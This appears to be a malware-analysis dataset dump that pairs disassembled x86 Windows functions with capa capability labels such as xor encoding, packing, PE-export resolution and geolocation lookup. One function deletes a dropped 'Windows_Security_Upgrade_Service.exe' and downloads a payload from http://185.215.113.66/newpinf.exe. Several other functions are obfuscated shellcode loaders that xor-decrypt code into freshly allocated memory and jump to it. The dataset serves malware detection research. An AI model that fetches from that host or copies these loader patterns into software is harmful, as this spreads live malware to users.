joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100f2bd7
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.100f2b53
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x100f2d46
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x100f2d46
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x100f2cfb
jg 0x100f2c33
test eax, eax
je 0x100f2cf1
push 1
push 0x1000
call fcn.100eb707
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x100f2c56
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x100f2ce8
push 0x8000
push ebx
call fcn.100e8610
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x100f2c7f
jg 0x100f2c7a
cmp ecx, 0x1000
jb 0x100f2c7f
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.100e8fc9
add esp, 0x10
cmp eax, 0xffffffff
je 0x100f2cc4
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x100f2c7a
jl 0x100f2cab
test ecx, ecx
jne 0x100f2c6c
push dword [ebp - 0xc]
push ebx
call fcn.100e8610
push esi
call fcn.100eb764
add esp, 0xc
xor ebx, ebx
jmp 0x100f2d54
cmp byte [edi + 0x24], 0
je 0x100f2cdb
cmp dword [edi + 0x20], 5
jne 0x100f2cdb
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x100f2ce6
mov ebx, dword [edi + 0x18]
jmp 0x100f2ce8
xor ebx, ebx
push esi
call fcn.100eb764
pop ecx
jmp 0x100f2d54
test ecx, ecx
jg 0x100f2cbd
jl 0x100f2cfb
test eax, eax
jae 0x100f2cbd
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100ef166
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x100f2d1b
cmp byte [edi + 0x1c], 0
je 0x100f2cbd
jmp 0x100f2d4c
push ebx
call fcn.100f2ae9
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x100f2cbd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x100f2d54
cmp byte [edi + 0x1c], 0
je 0x100f2d51
mov ebx, dword [edi + 0x18]
jmp 0x100f2d54
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.100ef166
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100f4eb3
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.100e9b67
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100f4f22
cmp esi, dword [ebp - 4]
je 0x100f4f1d
cmp dword [ebp + 0xc], 0
je 0x100f4f1d
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x100f4efa
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.100f4a05
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x100f4f24
xor eax, eax
inc eax
jmp 0x100f4f24
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x100f4f89
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1015f1d4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.100e9b67
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.100e9b67
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x100f5000
cmp word [ecx], dx
je 0x100f5000
mov eax, dword [0x1011c2e4]
push edi
dec eax
push eax
push 0x1011c1d0
call fcn.100f4f28
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x100f5073
cmp word [eax], dx
je 0x100f5073
mov eax, dword [edi]
test eax, eax
je 0x100f5024
cmp word [eax], dx
je 0x100f5024
lea eax, [ebp - 0x10]
push eax
call fcn.100f490b
jmp 0x100f502d
lea eax, [ebp - 0x10]
push eax
call fcn.100f49a6
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x100f509d
mov eax, dword [0x1011c1cc]
push dword [ebp - 0x14]
dec eax
push eax
push 0x1011bec0
call fcn.100f4f28
add esp, 0xc
test al, al
je 0x100f509d
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x100f5068
cmp word [eax], di
je 0x100f5068
lea eax, [ebp - 0x10]
push eax
call fcn.100f490b
pop ecx
jmp 0x100f509f
lea eax, [ebp - 0x10]
push eax
call fcn.100f49a6
jmp 0x100f5065
mov eax, dword [edi]
test eax, eax
je 0x100f508a
cmp word [eax], dx
je 0x100f508a
lea eax, [ebp - 0x10]
push eax
call fcn.100f48c0
pop ecx
jmp 0x100f509d
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x100f5168
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.100f4dad
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x100f5168
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x100f5168
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x100f5168
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x100f50f5
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.100ebe6c
test ebx, ebx
je 0x100f5163
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.100ebe6c
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100f5168
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100f5168
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.100ed9b5
add esp, 0x10
xor eax, eax
inc eax
jmp 0x100f516a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100476aa
leave
ret
Function at 0x40184a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c004]
jne 0x401854
repz ret
jmp fcn.00401a1b

Function at 0x405cf3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40c004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00402fdd
and dword [ebp - 0x14], 0
cmp dword [0x40da30], 0
mov dword [ebp - 0x18], eax
jne 0x405da6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x405e4e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x405e4e
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40da30], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40da34], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40da38], eax
call edi
push eax
call esi
mov dword [0x40da40], eax
test eax, eax
je 0x405da6
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40da3c], eax
mov eax, dword [0x40da3c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x405dff
cmp dword [0x40da40], ecx
je 0x405dff
push eax
call esi
push dword [0x40da40]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x405dff
test ebx, ebx
je 0x405dff
call edi
test eax, eax
je 0x405df6
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x405df6
test byte [ebp - 8], 1
jne 0x405dff
or dword [ebp + 0x10], 0x200000
jmp 0x405e32
mov eax, dword [0x40da34]
cmp eax, dword [ebp - 0x18]
je 0x405e32
push eax
call esi
test eax, eax
je 0x405e32
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x405e32
mov eax, dword [0x40da38]
cmp eax, dword [ebp - 0x18]
je 0x405e32
push eax
call esi
test eax, eax
je 0x405e32
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40da30]
call esi
test eax, eax
je 0x405e4e
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x405e50
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040184a
leave
ret

Function at 0x410000
Capabilities:
Accept command line arguments
Encode data using xor
Packed with generic packer
Parse pe header

Disassembly:
pushfd
pushal
call 0x410007
pop edi
sub edi, 0x10007
movzx ecx, di
mov eax, dword fs:[ecx + 0x30]
inc ecx
movzx eax, byte [eax + ecx + 1]
dec ecx
add eax, 4
xor byte [edi + ecx + 0x1000], al
inc ecx
cmp ecx, 0x84a
jb 0x41001f
popal
popfd
jmp fcn.00401a11
Function at 0x10043060
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10122e18
push 0x100f1be6
mov eax, dword fs:[0]
push eax
sub esp, 0x430
mov eax, dword [0x10126008]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, edx
mov dword [ebp - 0x438], esi
mov dword [ebp - 4], 0
mov ecx, esi
call fcn.100053d0
mov dword [ebp - 0x43c], 0
mov dword [eax + 0x10], 0
cmp dword [eax + 0x14], 8
jb 0x100430c8
mov eax, dword [eax]
lea edx, [ebp - 0x43c]
mov ecx, eax
call fcn.10006bd0
mov edx, esi
call fcn.100431c0
mov bl, al
mov byte [ebp - 0x431], bl
mov dword [ebp - 4], 0xfffffffe
jmp 0x1004310b
test bl, bl
jne 0x1004319b
mov ecx, esi
call fcn.100053d0
mov dword [ebp - 0x438], 0
mov dword [eax + 0x10], 0
cmp dword [eax + 0x14], 8
jb 0x10043133
mov eax, dword [eax]
lea edx, [ebp - 0x438]
mov ecx, eax
call fcn.10006bd0
push 0x410
push 0
lea eax, [ebp - 0x430]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x207
lea eax, [ebp - 0x430]
push eax
push str.APPDATA
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea ecx, [ebp - 0x430]
call fcn.10006c00
push eax
lea eax, [ebp - 0x430]
push eax
mov ecx, esi
call fcn.10006a10
mov ecx, esi
call fcn.10011f30
movzx ebx, bl
mov ecx, 1
test al, al
cmove ebx, ecx
mov al, bl
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.100f11c3
mov esp, ebp
pop ebp
ret
Function at 0x401350
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x208]
push ecx
push 0x402270
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.pluoopl.txt
lea edx, [ebp - 0x208]
push edx
call sub.MSVCR90.dll_wcscat
add esp, 8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4013b1
xor al, al
jmp 0x4013eb
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
je 0x4013e9
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x4013f0
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x208]
push ecx
push 0x4022a0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.windrx.txt
lea edx, [ebp - 0x208]
push edx
call sub.MSVCR90.dll_wcscat
add esp, 8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401451
xor al, al
jmp 0x40148b
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
je 0x401489
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x401490
Capabilities:
Check if file exists
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004013f0
call fcn.00401350
movzx ecx, al
test ecx, ecx
je 0x401567
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea edx, [ebp - 0x410]
push edx
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x410]
push eax
push str._swindrx.txt
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401567
push 0x104
push 0x403298
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x403298
push str._sWindows_Security_Upgrade_Service.exe
push 0x4034a0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x4034a0
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40154f
push 0x4034a0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.http:__185.215.113.66_newpinf.exe
call fcn.004010b0
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x402793
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x4027a2
pop dword [ebp - 0x48]
mov eax, 0x40d776a1
sub eax, 0x40974eff
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x34426
push 0
mov eax, 0xcb56201e
add eax, 0x34eac0ba
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x31be
xor edi, edi
add edi, eax
mov ebx, 0x33e07508
sub ebx, 0x339f3944
add ebx, dword [ebp - 0x48]
mov esi, 0x890bbb62
add esi, 0xc35ba468
add dword [ebp - 0x10], esi
mov edx, dword [ebx]
sub dword [ebp - 0x44], edi
add edx, esi
xor dword [ebp - 0x1c], 0x4e679538
mov dword [edi], edx
xor dword [ebp - 0x2c], ebx
add edi, 0x4acf0b01
sub edi, 0x4acf0afd
add ebx, 4
loop 0x4027fd
add eax, 0x77906654
add eax, 0x88705377
xor ebx, ebx
add ebx, eax
add eax, 0xe2513138
sub eax, 0xe2513133
mov ecx, 0xb60001c8
add ecx, 0x4a3ffe38
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x40e675
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40e684
pop dword [ebp - 0x4c]
mov eax, 0x40e684
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x33497d60
sub dword [ebp - 0x5c], 0xe4f73815
mov dword [ebp - 0x58], 0x2dc5efe7
add dword [ebp - 0x58], 0x46d5c5e
mov dword [ebp - 0x54], 0x86bc7a07
add dword [ebp - 0x54], 0xc58fca27
mov dword [ebp - 0x50], 0x6cf9cb41
add dword [ebp - 0x50], 0x930634bf
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x727f3bea
sub eax, 0x723b79be
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xbfd0b27
sub dword [ebp - 0x5c], 0x978aa1d1
mov dword [ebp - 0x58], 0xf14904ea
add dword [ebp - 0x58], 0x50235c8b
mov dword [ebp - 0x54], 0x57b86b37
add dword [ebp - 0x54], 0xbb70135
mov dword [ebp - 0x50], 0xa2864530
sub dword [ebp - 0x50], 0xa2864530
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x544fa816
add eax, 0xabf41ada
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x46662
push 0
call eax
mov ecx, 0x3ae17b2
add ecx, 0xfc523241
xor esi, esi
add esi, eax
mov edi, 0x2598550d
add edi, 0xdaaf00f3
add edi, dword [ebp - 0x4c]
mov ebx, 0xf146fb7e
xor dword [ebp - 0x3c], ecx
mov edx, dword [edi]
xor dword [ebp - 0x18], 0x90e5b7ae
xor edx, ebx
add dword [ebp - 0x14], 0x28db5454
mov dword [esi], edx
sub dword [ebp - 0x44], edx
add esi, 0x5078fae0
sub esi, 0x5078fadc
add edi, 0x500b181c
add edi, 0xaff4e7e8
loop 0x40e79d
add eax, 0x550e12b9
add eax, 0xaaf307e6
xor ebx, ebx
add ebx, eax
add eax, 0x8c742adf
sub eax, 0x8c742ada
mov ecx, 0xfc66f859
sub ecx, 0xfc26f859
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x42105f
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x44e8a8
call fcn.00422e90
call main
movzx esi, ax
push 2
call main
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x420f16
xor ebx, ebx
jmp 0x420f49
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x420f12
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x420f12
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x420f49
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004279ab
test eax, eax
jne 0x420f5d
push 0x1c
call main
pop ecx
call fcn.00427918
test eax, eax
jne 0x420f6e
push 0x10
call main
pop ecx
call fcn.00428296
and dword [ebp - 4], 0
call fcn.004279c0
test eax, eax
jns 0x420f88
push 0x1b
call main
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov dword [0x457adc], eax
call main
mov dword [0x455a24], eax
call main
test eax, eax
jns 0x420fae
push 8
call main
pop ecx
call fcn.00427eb1
test eax, eax
jns 0x420fbf
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x420fd2
push eax
call main
pop ecx
call fcn.00428714
push esi
push eax
push 0
push 0x400000
call main
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x420ff4
push esi
call main
call fcn.00426cd7
jmp 0x421029
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00422ed5
ret
call main
jmp 0x420ee8
Function at 0x42f5c0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0x67452301
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], 0xefcdab89
mov edx, dword [ebp + 8]
mov dword [edx + 0x10], 0x98badcfe
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0x10325476
mov ecx, dword [ebp + 8]
mov dword [ecx], 0
mov edx, dword [ebp + 8]
mov dword [edx + 4], 0
pop ebp
ret
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x632008], 0x8088405
inc edx
mov dword [ebx + 0x632008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41cc40
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cc71
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cc59
add dl, dl
jne 0x41cc7c
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cccd
xor eax, eax
add dl, dl
jne 0x41cc89
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cd6a
add dl, dl
jne 0x41cc98
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cca3
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41ccae
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41ccb9
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41ccc3
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cc68
mov eax, 1
add dl, dl
jne 0x41ccdb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cce6
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41ccd2
sub eax, ebx
mov ebx, 1
jne 0x41cd19
mov ecx, 1
add dl, dl
jne 0x41ccff
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cd0a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41ccf6
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cc68
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41cd30
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cd3b
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cd27
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cc68
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41cd8b
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cc68
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41e214
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x61b6d3
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov ecx, ebx
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41e2c5
add edx, ebx
mov eax, edx
mov esi, dword [eax + 0x18]
mov edx, dword [eax + 0x1c]
add edx, ebx
mov dword [ebp - 0x10], edx
mov edi, dword [eax + 0x20]
add edi, ebx
mov edx, dword [eax + 0x24]
add edx, ebx
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 4]
cmp edx, 0xffff
jbe 0x41e2ae
test esi, esi
jbe 0x41e2c5
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088dc
test eax, eax
jne 0x41e2a0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41e2c5
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41e27d
jmp 0x41e2c5
mov ecx, edx
sub ecx, dword [eax + 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x41e2c5
mov eax, ecx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x61b6da
ret